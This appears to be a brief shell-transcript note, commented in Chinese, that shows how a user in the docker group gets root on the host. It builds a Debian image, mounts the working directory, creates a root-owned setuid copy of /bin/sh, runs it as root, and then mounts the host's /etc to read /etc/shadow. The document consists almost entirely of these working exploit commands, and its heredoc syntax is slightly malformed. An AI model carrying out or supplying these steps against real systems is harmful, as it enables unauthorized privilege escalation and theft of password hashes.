# 获取  Docker 的 Root
# user 必须在 docker 用户组中
ek@victum:~/docker-test$ id
uid=1001[ek] gid=1001[ek] groups=1001[ek],114[docker]

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'